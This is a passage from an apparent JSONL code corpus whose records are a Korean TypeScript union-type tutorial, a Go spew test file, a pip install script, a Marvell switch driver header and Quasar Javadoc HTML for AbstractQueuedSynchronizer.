number;\nfunction square(value: number, returnOnString: boolean = false): SquaredType {\n /* 본문 동일 */\n}\n```\n\n유니온 타입이 가질 수 있는 타입의 수가 꼭 2개일 필요는 없다. 몇 개든 이어가며 정의할 수 있다.\n\n```typescript\ntype Whatever = number | string | boolean;\n```\n\n### **여러 줄에 걸친 유니온 타입**\n\n여러 줄에 걸쳐 유니온 타입을 적을 때에는 보통 아래와 같이 정렬을 맞춘다.\n\n```typescript\ntype Fruits\n = Apple\n | Banana\n | Cherry;\n```\n\n추가로 유니온 타입의 맨 앞에도 파이프를 쓰는 것이 허용된다. 이렇게 하면 여러 줄에 걸쳐 유니온 타입을 정의할 때 각 라인의 형태를 통일할 수 있다. 실질적인 의미 차이는 없으니 선호대로 사용하면 된다.\n\n```typescript\ntype Fruits =\n | Apple\n | Banana\n | Cherry;\n```\n\n"} {"text": "/*\n * Copyright (c) 2013 Dave Collins <dave@davec.name>\n *\n * Permission to use, copy, modify, and distribute this software for any\n * purpose with or without fee is hereby granted, provided that the above\n * copyright notice and this permission notice appear in all copies.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n */\n\n/*\nThis test file is part of the spew package rather than than the spew_test\npackage because it needs access to internals to properly test certain cases\nwhich are not possible via the public interface since they should never happen.\n*/\n\npackage spew\n\nimport (\n\t\"bytes\"\n\t\"reflect\"\n\t\"testing\"\n)\n\n// dummyFmtState implements a fake fmt.State to use for testing invalid\n// reflect.Value handling. This is necessary because the fmt package catches\n// invalid values before invoking the formatter on them.\ntype dummyFmtState struct {\n\tbytes.Buffer\n}\n\nfunc (dfs *dummyFmtState) Flag(f int) bool {\n\tif f == int('+') {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc (dfs *dummyFmtState) Precision() (int, bool) {\n\treturn 0, false\n}\n\nfunc (dfs *dummyFmtState) Width() (int, bool) {\n\treturn 0, false\n}\n\n// TestInvalidReflectValue ensures the dump and formatter code handles an\n// invalid reflect value properly. This needs access to internal state since it\n// should never happen in real code and therefore can't be tested via the public\n// API.\nfunc TestInvalidReflectValue(t *testing.T) {\n\ti := 1\n\n\t// Dump invalid reflect value.\n\tv := new(reflect.Value)\n\tbuf := new(bytes.Buffer)\n\td := dumpState{w: buf, cs: &Config}\n\td.dump(*v)\n\ts := buf.String()\n\twant := \"<invalid>\"\n\tif s != want {\n\t\tt.Errorf(\"InvalidReflectValue #%d\\n got: %s want: %s\", i, s, want)\n\t}\n\ti++\n\n\t// Formatter invalid reflect value.\n\tbuf2 := new(dummyFmtState)\n\tf := formatState{value: *v, cs: &Config, fs: buf2}\n\tf.format(*v)\n\ts = buf2.String()\n\twant = \"<invalid>\"\n\tif s != want {\n\t\tt.Errorf(\"InvalidReflectValue #%d got: %s want: %s\", i, s, want)\n\t}\n}\n\n// SortValues makes the internal sortValues function available to the test\n// package.\nfunc SortValues(values []reflect.Value, cs *ConfigState) {\n\tsortValues(values, cs)\n}\n"} {"text": "#!/bin/bash\n\npip3 install glog\npip3 install wordninja\n\n"} {"text": "/*\n * Marvell 88E6060 switch driver\n * Copyright (c) 2008 Felix Fietkau <nbd@nbd.name>\n *\n * This program is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License v2 as published by the\n * Free Software Foundation\n */\n#ifndef __MVSWITCH_H\n#define __MVSWITCH_H\n\n#define MV_HEADER_SIZE\t2\n#define MV_HEADER_PORTS_M\t0x001f\n#define MV_HEADER_PORTS_S\t0\n#define MV_HEADER_VLAN_M\t0xf000\n#define MV_HEADER_VLAN_S\t12\n\n#define MV_TRAILER_SIZE\t4\n#define MV_TRAILER_PORTS_M\t0x1f\n#define MV_TRAILER_PORTS_S\t16\n#define MV_TRAILER_FLAGS_S\t24\n#define MV_TRAILER_OVERRIDE\t0x80\n\n\n#define MV_PORTS\t5\n#define MV_WANPORT\t4\n#define MV_CPUPORT\t5\n\n#define MV_BASE\t\t0x10\n\n#define MV_PHYPORT_BASE\t\t(MV_BASE + 0x0)\n#define MV_PHYPORT(_n)\t\t(MV_PHYPORT_BASE + (_n))\n#define MV_SWITCHPORT_BASE\t(MV_BASE + 0x8)\n#define MV_SWITCHPORT(_n)\t(MV_SWITCHPORT_BASE + (_n))\n#define MV_SWITCHREGS\t\t(MV_BASE + 0xf)\n\nenum {\n\tMV_PHY_CONTROL = 0x00,\n\tMV_PHY_STATUS = 0x01,\n\tMV_PHY_IDENT0 = 0x02,\n\tMV_PHY_IDENT1 = 0x03,\n\tMV_PHY_ANEG = 0x04,\n\tMV_PHY_LINK_ABILITY = 0x05,\n\tMV_PHY_ANEG_EXPAND = 0x06,\n\tMV_PHY_XMIT_NEXTP = 0x07,\n\tMV_PHY_LINK_NEXTP = 0x08,\n\tMV_PHY_CONTROL1 = 0x10,\n\tMV_PHY_STATUS1 = 0x11,\n\tMV_PHY_INTR_EN = 0x12,\n\tMV_PHY_INTR_STATUS = 0x13,\n\tMV_PHY_INTR_PORT = 0x14,\n\tMV_PHY_RECV_COUNTER = 0x16,\n\tMV_PHY_LED_PARALLEL = 0x16,\n\tMV_PHY_LED_STREAM = 0x17,\n\tMV_PHY_LED_CTRL = 0x18,\n\tMV_PHY_LED_OVERRIDE = 0x19,\n\tMV_PHY_VCT_CTRL = 0x1a,\n\tMV_PHY_VCT_STATUS = 0x1b,\n\tMV_PHY_CONTROL2 = 0x1e\n};\n#define MV_PHYREG(_type, _port) MV_PHYPORT(_port), MV_PHY_##_type\n\nenum {\n\tMV_PORT_STATUS = 0x00,\n\tMV_PORT_IDENT = 0x03,\n\tMV_PORT_CONTROL = 0x04,\n\tMV_PORT_VLANMAP = 0x06,\n\tMV_PORT_ASSOC = 0x0b,\n\tMV_PORT_RXCOUNT = 0x10,\n\tMV_PORT_TXCOUNT = 0x11,\n};\n#define MV_PORTREG(_type, _port) MV_SWITCHPORT(_port), MV_PORT_##_type\n\nenum {\n\tMV_PORTCTRL_BLOCK = (1 << 0),\n\tMV_PORTCTRL_LEARN = (2 << 0),\n\tMV_PORTCTRL_ENABLED = (3 << 0),\n\tMV_PORTCTRL_VLANTUN = (1 << 7),\t/* Enforce VLANs on packets */\n\tMV_PORTCTRL_RXTR = (1 << 8),\t/* Enable Marvell packet trailer for ingress */\n\tMV_PORTCTRL_HEADER\t= (1 << 11),\t/* Enable Marvell packet header mode for port */\n\tMV_PORTCTRL_TXTR = (1 << 14),\t/* Enable Marvell packet trailer for egress */\n\tMV_PORTCTRL_FORCEFL = (1 << 15),\t/* force flow control */\n};\n\n#define MV_PORTVLAN_ID(_n) (((_n) & 0xf) << 12)\n#define MV_PORTVLAN_PORTS(_n) ((_n) & 0x3f)\n\n#define MV_PORTASSOC_PORTS(_n) ((_n) & 0x1f)\n#define MV_PORTASSOC_MONITOR\t(1 << 15)\n\nenum {\n\tMV_SWITCH_MAC0 = 0x01,\n\tMV_SWITCH_MAC1 = 0x02,\n\tMV_SWITCH_MAC2 = 0x03,\n\tMV_SWITCH_CTRL = 0x04,\n\tMV_SWITCH_ATU_CTRL = 0x0a,\n\tMV_SWITCH_ATU_OP = 0x0b,\n\tMV_SWITCH_ATU_DATA = 0x0c,\n\tMV_SWITCH_ATU_MAC0 = 0x0d,\n\tMV_SWITCH_ATU_MAC1 = 0x0e,\n\tMV_SWITCH_ATU_MAC2 = 0x0f,\n};\n#define MV_SWITCHREG(_type) MV_SWITCHREGS, MV_SWITCH_##_type\n\nenum {\n\tMV_SWITCHCTL_EEIE = (1 << 0),\t/* EEPROM interrupt enable */\n\tMV_SWITCHCTL_PHYIE = (1 << 1),\t/* PHY interrupt enable */\n\tMV_SWITCHCTL_ATUDONE= (1 << 2),\t/* ATU done interrupt enable */\n\tMV_SWITCHCTL_ATUIE = (1 << 3),\t/* ATU interrupt enable */\n\tMV_SWITCHCTL_CTRMODE= (1 << 8),\t/* statistics for rx and tx errors */\n\tMV_SWITCHCTL_RELOAD = (1 << 9),\t/* reload registers from eeprom */\n\tMV_SWITCHCTL_MSIZE = (1 << 10),\t/* increase maximum frame size */\n\tMV_SWITCHCTL_DROP = (1 << 13),\t/* discard frames with excessive collisions */\n};\n\nenum {\n#define MV_ATUCTL_AGETIME_MIN\t16\n#define MV_ATUCTL_AGETIME_MAX\t4080\n#define MV_ATUCTL_AGETIME(_n)\t((((_n) / 16) & 0xff) << 4)\n\tMV_ATUCTL_ATU_256 = (0 << 12),\n\tMV_ATUCTL_ATU_512 = (1 << 12),\n\tMV_ATUCTL_ATU_1K\t= (2 << 12),\n\tMV_ATUCTL_ATUMASK = (3 << 12),\n\tMV_ATUCTL_NO_LEARN = (1 << 14),\n\tMV_ATUCTL_RESET = (1 << 15),\n};\n\nenum {\n#define MV_ATUOP_DBNUM(_n)\t((_n) & 0x0f)\n\n\tMV_ATUOP_NOOP = (0 << 12),\n\tMV_ATUOP_FLUSH_ALL = (1 << 12),\n\tMV_ATUOP_FLUSH_U = (2 << 12),\n\tMV_ATUOP_LOAD_DB = (3 << 12),\n\tMV_ATUOP_GET_NEXT = (4 << 12),\n\tMV_ATUOP_FLUSH_DB = (5 << 12),\n\tMV_ATUOP_FLUSH_DB_UU= (6 << 12),\n\n\tMV_ATUOP_INPROGRESS = (1 << 15),\n};\n\n#define MV_IDENT_MASK\t\t0xfff0\n#define MV_IDENT_VALUE\t\t0x0600\n\n#endif\n"} {"text": "<!DOCTYPE HTML>\n<!-- NewPage -->\n<html lang=\"en\">\n<head>\n<!-- Generated by javadoc (11.0.1) on Sat Nov 03 12:43:34 GMT 2018 -->\n<title>AbstractQueuedSynchronizer (Quasar 0.8.0)</title>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n<meta name=\"dc.created\" content=\"2018-11-03\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"../../../../stylesheet.css\" title=\"Style\">\n<link rel=\"stylesheet\" type=\"text/css\" href=\"../../../../jquery/jquery-ui.css\" title=\"Style\">\n<script type=\"text/javascript\" src=\"../../../../script.js\"></script>\n<script type=\"text/javascript\" src=\"../../../../jquery/jszip/dist/jszip.min.js\"></script>\n<script type=\"text/javascript\" src=\"../../../../jquery/jszip-utils/dist/jszip-utils.min.js\"></script>\n<!--[if IE]>\n<script type=\"text/javascript\" src=\"../../../../jquery/jszip-utils/dist/jszip-utils-ie.min.js\"></script>\n<![endif]-->\n<script type=\"text/javascript\" src=\"../../../../jquery/jquery-3.3.1.js\"></script>\n<script type=\"text/javascript\" src=\"../../../../jquery/jquery-migrate-3.0.1.js\"></script>\n<script type=\"text/javascript\" src=\"../../../../jquery/jquery-ui.js\"></script>\n</head>\n<body>\n<script type=\"text/javascript\"><!--\n try {\n if (location.href.indexOf('is-external=true') == -1) {\n parent.document.title=\"AbstractQueuedSynchronizer (Quasar 0.8.0)\";\n }\n }\n catch(err) {\n }\n//-->\nvar data = {\"i0\":10,\"i1\":10,\"i2\":10,\"i3\":10,\"i4\":10,\"i5\":10,\"i6\":10,\"i7\":10,\"i8\":10,\"i9\":10,\"i10\":10,\"i11\":10,\"i12\":10,\"i13\":10,\"i14\":10,\"i15\":10,\"i16\":10,\"i17\":10,\"i18\":10,\"i19\":10,\"i20\":10,\"i21\":10,\"i22\":10,\"i23\":10,\"i24\":10,\"i25\":10,\"i26\":10,\"i27\":10,\"i28\":10,\"i29\":10};\nvar tabs = {65535:[\"t0\",\"All Methods\"],2:[\"t2\",\"Instance Methods\"],8:[\"t4\",\"Concrete Methods\"]};\nvar altColor = \"altColor\";\nvar rowColor = \"rowColor\";\nvar tableTab = \"tableTab\";\nvar activeTableTab = \"activeTableTab\";\nvar pathtoroot = \"../../../../\";\nvar useModuleDirectories = true;\nloadScripts(document, 'script');</script>\n<noscript>\n<div>JavaScript is disabled on your browser.</div>\n</noscript>\n<header role=\"banner\">\n<nav role=\"navigation\">\n<div class=\"fixedNav\">\n<!-- ========= START OF TOP NAVBAR ======= -->\n<div class=\"topNav\"><a id=\"navbar.top\">\n<!-- -->\n</a>\n<div class=\"skipNav\"><a href=\"#skip.navbar.top\" title=\"Skip navigation links\">Skip navigation links</a></div>\n<a id=\"navbar.top.firstrow\">\n<!-- -->\n</a>\n<ul class=\"navList\" title=\"Navigation\">\n<li><a href=\"../../../../index.html\">Overview</a></li>\n<li><a href=\"package-summary.html\">Package</a></li>\n<li class=\"navBarCell1Rev\">Class</li>\n<li><a href=\"package-tree.html\">Tree</a></li>\n<li><a href=\"../../../../deprecated-list.html\">Deprecated</a></li>\n<li><a href=\"../../../../index-all.html\">Index</a></li>\n<li><a href=\"../../../../help-doc.html\">Help</a></li>\n</ul>\n</div>\n<div class=\"subNav\">\n<ul class=\"navList\" id=\"allclasses_navbar_top\">\n<li><a href=\"../../../../allclasses.html\">All&nbsp;Classes</a></li>\n</ul>\n<ul class=\"navListSearch\">\n<li><label for=\"search\">SEARCH:</label>\n<input type=\"text\" id=\"search\" value=\"search\" disabled=\"disabled\">\n<input type=\"reset\" id=\"reset\" value=\"reset\" disabled=\"disabled\">\n</li>\n</ul>\n<div>\n<script type=\"text/javascript\"><!--\n allClassesLink = document.getElementById(\"allclasses_navbar_top\");\n if(window==top) {\n allClassesLink.style.display = \"block\";\n }\n else {\n allClassesLink.style.display = \"none\";\n }\n //-->\n</script>\n<noscript>\n<div>JavaScript is disabled on your browser.</div>\n</noscript>\n</div>\n<div>\n<ul class=\"subNavList\">\n<li>Summary:&nbsp;</li>\n<li><a href=\"#nested.class.summary\">Nested</a>&nbsp;|&nbsp;</li>\n<li>Field&nbsp;|&nbsp;</li>\n<li><a href=\"#constructor.summary\">Constr</a>&nbsp;|&nbsp;</li>\n<li><a href=\"#method.summary\">Method</a></li>\n</ul>\n<ul class=\"subNavList\">\n<li>Detail:&nbsp;</li>\n<li>Field&nbsp;|&nbsp;</li>\n<li><a href=\"#constructor.detail\">Constr</a>&nbsp;|&nbsp;</li>\n<li><a href=\"#method.detail\">Method</a></li>\n</ul>\n</div>\n<a id=\"skip.navbar.top\">\n<!-- -->\n</a></div>\n<!-- ========= END OF TOP NAVBAR ========= -->\n</div>\n<div class=\"navPadding\">&nbsp;</div>\n<script type=\"text/javascript\"><!--\n$('.navPadding').css('padding-top', $('.fixedNav').css(\"height\"));\n//-->\n</script>\n</nav>\n</header>\n<!-- ======== START OF CLASS DATA ======== -->\n<main role=\"main\">\n<div class=\"header\">\n<div class=\"subTitle\"><span class=\"packageLabelInType\">Package</span>&nbsp;<a href=\"package-summary.html\">co.paralleluniverse.strands.concurrent</a></div>\n<h2 title=\"Class AbstractQueuedSynchronizer\" class=\"title\">Class AbstractQueuedSynchronizer</h2>\n</div>\n<div class=\"contentContainer\">\n<ul class=\"inheritance\">\n<li>java.lang.Object</li>\n<li>\n<ul class=\"inheritance\">\n<li><a href=\"AbstractOwnableSynchronizer.html\" title=\"class in co.paralleluniverse.strands.concurrent\">co.paralleluniverse.strands.concurrent.AbstractOwnableSynchronizer</a></li>\n<li>\n<ul class=\"inheritance\">\n<li>co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer</li>\n</ul>\n</li>\n</ul>\n</li>\n</ul>\n<div class=\"description\">\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<dl>\n<dt>All Implemented Interfaces:</dt>\n<dd><code>java.io.Serializable</code></dd>\n</dl>\n<hr>\n<pre>public abstract class <span class=\"typeNameLabel\">AbstractQueuedSynchronizer</span>\nextends <a href=\"AbstractOwnableSynchronizer.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractOwnableSynchronizer</a>\nimplements java.io.Serializable</pre>\n<div class=\"block\">Provides a framework for implementing blocking locks and related\n synchronizers (semaphores, events, etc) that rely on\n first-in-first-out (FIFO) wait queues. This class is designed to\n be a useful basis for most kinds of synchronizers that rely on a\n single atomic <code>int</code> value to represent state. Subclasses\n must define the protected methods that change this state, and which\n define what that state means in terms of this object being acquired\n or released. Given these, the other methods in this class carry\n out all queuing and blocking mechanics. Subclasses can maintain\n other state fields, but only the atomically updated <code>int</code>\n value manipulated using methods <a href=\"#getState()\"><code>getState()</code></a>, <a href=\"#setState(int)\"><code>setState(int)</code></a> and <a href=\"#compareAndSetState(int,int)\"><code>compareAndSetState(int, int)</code></a> is tracked with respect\n to synchronization.\n\n <p>Subclasses should be defined as non-public internal helper\n classes that are used to implement the synchronization properties\n of their enclosing class. Class\n <code>AbstractQueuedSynchronizer</code> does not implement any\n synchronization interface. Instead it defines methods such as\n <a href=\"#acquireInterruptibly(int)\"><code>acquireInterruptibly(int)</code></a> that can be invoked as\n appropriate by concrete locks and related synchronizers to\n implement their public methods.</p>\n\n <p>This class supports either or both a default <em>exclusive</em>\n mode and a <em>shared</em> mode. When acquired in exclusive mode,\n attempted acquires by other strands cannot succeed. Shared mode\n acquires by multiple strands may (but need not) succeed. This class\n does not &quot;understand&quot; these differences except in the\n mechanical sense that when a shared mode acquire succeeds, the next\n waiting strand (if one exists) must also determine whether it can\n acquire as well. Strands waiting in the different modes share the\n same FIFO queue. Usually, implementation subclasses support only\n one of these modes, but both can come into play for example in a\n <code>ReadWriteLock</code>. Subclasses that support only exclusive or\n only shared modes need not define the methods supporting the unused mode.</p>\n\n <p>This class defines a nested <a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractQueuedSynchronizer.ConditionObject</code></a> class that\n can be used as a <code>Condition</code> implementation by subclasses\n supporting exclusive mode for which method <a href=\"#isHeldExclusively()\"><code>isHeldExclusively()</code></a> reports whether synchronization is exclusively\n held with respect to the current strand, method <a href=\"#release(int)\"><code>release(int)</code></a>\n invoked with the current <a href=\"#getState()\"><code>getState()</code></a> value fully releases\n this object, and <a href=\"#acquire(int)\"><code>acquire(int)</code></a>, given this saved state value,\n eventually restores this object to its previous acquired state. No\n <code>AbstractQueuedSynchronizer</code> method otherwise creates such a\n condition, so if this constraint cannot be met, do not use it. The\n behavior of <a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractQueuedSynchronizer.ConditionObject</code></a> depends of course on the\n semantics of its synchronizer implementation.</p>\n\n <p>This class provides inspection, instrumentation, and monitoring\n methods for the internal queue, as well as similar methods for\n condition objects. These can be exported as desired into classes\n using an <code>AbstractQueuedSynchronizer</code> for their\n synchronization mechanics.</p>\n\n <p>Serialization of this class stores only the underlying atomic\n integer maintaining state, so deserialized objects have empty\n strand queues. Typical subclasses requiring serializability will\n define a <code>readObject</code> method that restores this to a known\n initial state upon deserialization.</p>\n\n <h3>Usage</h3>\n\n <p>To use this class as the basis of a synchronizer, redefine the\n following methods, as applicable, by inspecting and/or modifying\n the synchronization state using <a href=\"#getState()\"><code>getState()</code></a>, <a href=\"#setState(int)\"><code>setState(int)</code></a> and/or <a href=\"#compareAndSetState(int,int)\"><code>compareAndSetState(int, int)</code></a>:</p>\n\n <ul>\n <li> <a href=\"#tryAcquire(int)\"><code>tryAcquire(int)</code></a>\n <li> <a href=\"#tryRelease(int)\"><code>tryRelease(int)</code></a>\n <li> <a href=\"#tryAcquireShared(int)\"><code>tryAcquireShared(int)</code></a>\n <li> <a href=\"#tryReleaseShared(int)\"><code>tryReleaseShared(int)</code></a>\n <li> <a href=\"#isHeldExclusively()\"><code>isHeldExclusively()</code></a>\n </ul>\n\n Each of these methods by default throws <code>UnsupportedOperationException</code>. Implementations of these methods\n must be internally strand-safe, and should in general be short and\n not block. Defining these methods is the <em>only</em> supported\n means of using this class. All other methods are declared\n <code>final</code> because they cannot be independently varied.\n\n <p>You may also find the inherited methods from <a href=\"AbstractOwnableSynchronizer.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractOwnableSynchronizer</code></a> useful to keep track of the strand\n owning an exclusive synchronizer. You are encouraged to use them\n -- this enables monitoring and diagnostic tools to assist users in\n determining which strands hold locks.</p>\n\n <p>Even though this class is based on an internal FIFO queue, it\n does not automatically enforce FIFO acquisition policies. The core\n of exclusive synchronization takes the form:</p>\n\n <pre>\n Acquire:\n while (!tryAcquire(arg)) {\n <em>enqueue strand if it is not already queued</em>;\n <em>possibly block current strand</em>;\n }\n\n Release:\n if (tryRelease(arg))\n <em>unblock the first queued strand</em>;\n </pre>\n\n (Shared mode is similar but may involve cascading signals.)\n\n <p id=\"barging\">Because checks in acquire are invoked before\n enqueuing, a newly acquiring strand may <em>barge</em> ahead of\n others that are blocked and queued. However, you can, if desired,\n define <code>tryAcquire</code> and/or <code>tryAcquireShared</code> to\n disable barging by internally invoking one or more of the inspection\n methods, thereby providing a <em>fair</em> FIFO acquisition order.\n In particular, most fair synchronizers can define <code>tryAcquire</code>\n to return <code>false</code> if <a href=\"#hasQueuedPredecessors()\"><code>hasQueuedPredecessors()</code></a> (a method\n specifically designed to be used by fair synchronizers) returns\n <code>true</code>. Other variations are possible.</p>\n\n <p>Throughput and scalability are generally highest for the\n default barging (also known as <em>greedy</em>,\n <em>renouncement</em>, and <em>convoy-avoidance</em>) strategy.\n While this is not guaranteed to be fair or starvation-free, earlier\n queued strands are allowed to recontend before later queued\n strands, and each recontention has an unbiased chance to succeed\n against incoming strands. Also, while acquires do not\n &quot;spin&quot; in the usual sense, they may perform multiple\n invocations of <code>tryAcquire</code> interspersed with other\n computations before blocking. This gives most of the benefits of\n spins when exclusive synchronization is only briefly held, without\n most of the liabilities when it isn't. If so desired, you can\n augment this by preceding calls to acquire methods with\n \"fast-path\" checks, possibly prechecking <a href=\"#hasContended()\"><code>hasContended()</code></a>\n and/or <a href=\"#hasQueuedStrands()\"><code>hasQueuedStrands()</code></a> to only do so if the synchronizer\n is likely not to be contended.</p>\n\n <p>This class provides an efficient and scalable basis for\n synchronization in part by specializing its range of use to\n synchronizers that can rely on <code>int</code> state, acquire, and\n release parameters, and an internal FIFO wait queue. When this does\n not suffice, you can build synchronizers from a lower level using\n <code>atomic</code> classes, your own custom\n <code>Queue</code> classes, and <code>LockSupport</code> blocking\n support.</p>\n\n <h3>Usage Examples</h3>\n\n <p>Here is a non-reentrant mutual exclusion lock class that uses\n the value zero to represent the unlocked state, and one to\n represent the locked state. While a non-reentrant lock\n does not strictly require recording of the current owner\n strand, this class does so anyway to make usage easier to monitor.\n It also supports conditions and exposes\n one of the instrumentation methods:</p>\n\n <pre> <code>\n class Mutex implements Lock, java.io.Serializable {\n\n // Our internal helper class\n private static class Sync extends AbstractQueuedSynchronizer {\n // Reports whether in locked state\n protected boolean isHeldExclusively() {\n return getState() == 1;\n }\n\n // Acquires the lock if state is zero\n public boolean tryAcquire(int acquires) {\n assert acquires == 1; // Otherwise unused\n if (compareAndSetState(0, 1)) {\n setExclusiveOwnerStrand(Strand.currentStrand());\n return true;\n }\n return false;\n }\n\n // Releases the lock by setting state to zero\n protected boolean tryRelease(int releases) {\n assert releases == 1; // Otherwise unused\n if (getState() == 0) throw new IllegalMonitorStateException();\n setExclusiveOwnerStrand(null);\n setState(0);\n return true;\n }\n\n // Provides a Condition\n Condition newCondition() { return new ConditionObject(); }\n\n // Deserializes properly\n private void readObject(ObjectInputStream s)\n throws IOException, ClassNotFoundException {\n s.defaultReadObject();\n setState(0); // reset to unlocked state\n }\n }\n\n // The sync object does all the hard work. We just forward to it.\n private final Sync sync = new Sync();\n\n public void lock() { sync.acquire(1); }\n public boolean tryLock() { return sync.tryAcquire(1); }\n public void unlock() { sync.release(1); }\n public Condition newCondition() { return sync.newCondition(); }\n public boolean isLocked() { return sync.isHeldExclusively(); }\n public boolean hasQueuedStrands() { return sync.hasQueuedStrands(); }\n public void lockInterruptibly() throws InterruptedException {\n sync.acquireInterruptibly(1);\n }\n public boolean tryLock(long timeout, TimeUnit unit)\n throws InterruptedException {\n return sync.tryAcquireNanos(1, unit.toNanos(timeout));\n }\n }</code></pre>\n\n <p>Here is a latch class that is like a\n <code>CountDownLatch</code>\n except that it only requires a single <code>signal</code> to\n fire. Because a latch is non-exclusive, it uses the <code>shared</code>\n acquire and release methods.</p>\n\n <pre> <code>\n class BooleanLatch {\n\n private static class Sync extends AbstractQueuedSynchronizer {\n boolean isSignalled() { return getState() != 0; }\n\n protected int tryAcquireShared(int ignore) {\n return isSignalled() ? 1 : -1;\n }\n\n protected boolean tryReleaseShared(int ignore) {\n setState(1);\n return true;\n }\n }\n\n private final Sync sync = new Sync();\n public boolean isSignalled() { return sync.isSignalled(); }\n public void signal() { sync.releaseShared(1); }\n public void await() throws InterruptedException {\n sync.acquireSharedInterruptibly(1);\n }\n }</code></pre></div>\n<dl>\n<dt><span class=\"simpleTagLabel\">Since:</span></dt>\n<dd>1.5</dd>\n<dt><span class=\"seeLabel\">See Also:</span></dt>\n<dd><a href=\"../../../../serialized-form.html#co.paralleluniverse.strands.concurrent.AbstractQueuedSynchronizer\">Serialized Form</a></dd>\n</dl>\n</li>\n</ul>\n</div>\n<div class=\"summary\">\n<ul class=\"blockList\">\n<li class=\"blockList\">\n<!-- ======== NESTED CLASS SUMMARY ======== -->\n<section role=\"region\">\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"nested.class.summary\">\n<!-- -->\n</a>\n<h3>Nested Class Summary</h3>\n<table class=\"memberSummary\">\n<caption><span>Nested Classes</span><span class=\"tabEnd\">&nbsp;</span></caption>\n<tr>\n<th class=\"colFirst\" scope=\"col\">Modifier and Type</th>\n<th class=\"colSecond\" scope=\"col\">Class</th>\n<th class=\"colLast\" scope=\"col\">Description</th>\n</tr>\n<tr class=\"altColor\">\n<td class=\"colFirst\"><code>class&nbsp;</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"AbstractQueuedSynchronizer.ConditionObject.html\" title=\"class in co.paralleluniverse.strands.concurrent\">AbstractQueuedSynchronizer.ConditionObject</a></span></code></th>\n<td class=\"colLast\">\n<div class=\"block\">Condition implementation for a <a href=\"AbstractQueuedSynchronizer.html\" title=\"class in co.paralleluniverse.strands.concurrent\"><code>AbstractQueuedSynchronizer</code></a> serving as the basis of a <code>Lock</code> implementation.</div>\n</td>\n</tr>\n</table>\n</li>\n</ul>\n</section>\n<!-- ======== CONSTRUCTOR SUMMARY ======== -->\n<section role=\"region\">\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"constructor.summary\">\n<!-- -->\n</a>\n<h3>Constructor Summary</h3>\n<table class=\"memberSummary\">\n<caption><span>Constructors</span><span class=\"tabEnd\">&nbsp;</span></caption>\n<tr>\n<th class=\"colFirst\" scope=\"col\">Modifier</th>\n<th class=\"colSecond\" scope=\"col\">Constructor</th>\n<th class=\"colLast\" scope=\"col\">Description</th>\n</tr>\n<tr class=\"altColor\">\n<td class=\"colFirst\"><code>protected </code></td>\n<th class=\"colConstructorName\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#%3Cinit%3E()\">AbstractQueuedSynchronizer</a></span>()</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Creates a new <code>AbstractQueuedSynchronizer</code> instance\n with initial synchronization state of zero.</div>\n</td>\n</tr>\n</table>\n</li>\n</ul>\n</section>\n<!-- ========== METHOD SUMMARY =========== -->\n<section role=\"region\">\n<ul class=\"blockList\">\n<li class=\"blockList\"><a id=\"method.summary\">\n<!-- -->\n</a>\n<h3>Method Summary</h3>\n<table class=\"memberSummary\">\n<caption><span id=\"t0\" class=\"activeTableTab\"><span>All Methods</span><span class=\"tabEnd\">&nbsp;</span></span><span id=\"t2\" class=\"tableTab\"><span><a href=\"javascript:show(2);\">Instance Methods</a></span><span class=\"tabEnd\">&nbsp;</span></span><span id=\"t4\" class=\"tableTab\"><span><a href=\"javascript:show(8);\">Concrete Methods</a></span><span class=\"tabEnd\">&nbsp;</span></span></caption>\n<tr>\n<th class=\"colFirst\" scope=\"col\">Modifier and Type</th>\n<th class=\"colSecond\" scope=\"col\">Method</th>\n<th class=\"colLast\" scope=\"col\">Description</th>\n</tr>\n<tr id=\"i0\" class=\"altColor\">\n<td class=\"colFirst\"><code>void</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#acquire(int)\">acquire</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Acquires in exclusive mode, ignoring interrupts.</div>\n</td>\n</tr>\n<tr id=\"i1\" class=\"rowColor\">\n<td class=\"colFirst\"><code>void</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#acquireInterruptibly(int)\">acquireInterruptibly</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Acquires in exclusive mode, aborting if interrupted.</div>\n</td>\n</tr>\n<tr id=\"i2\" class=\"altColor\">\n<td class=\"colFirst\"><code>void</code></td>\n<th class=\"colSecond\" scope=\"row\"><code><span class=\"memberNameLink\"><a href=\"#acquireShared(int)\">acquireShared</a></span>&#8203;(int&nbsp;arg)</code></th>\n<td class=\"colLast\">\n<div class=\"block\">Acquires in shared mode, ignoring interrupts.</div>\n</td>\n</tr>\n<tr id=\"i3\" class=\"rowColor\">\n<td class=\"colFirst\"><code>void</code></td>\n<th class=\"colSecond\" 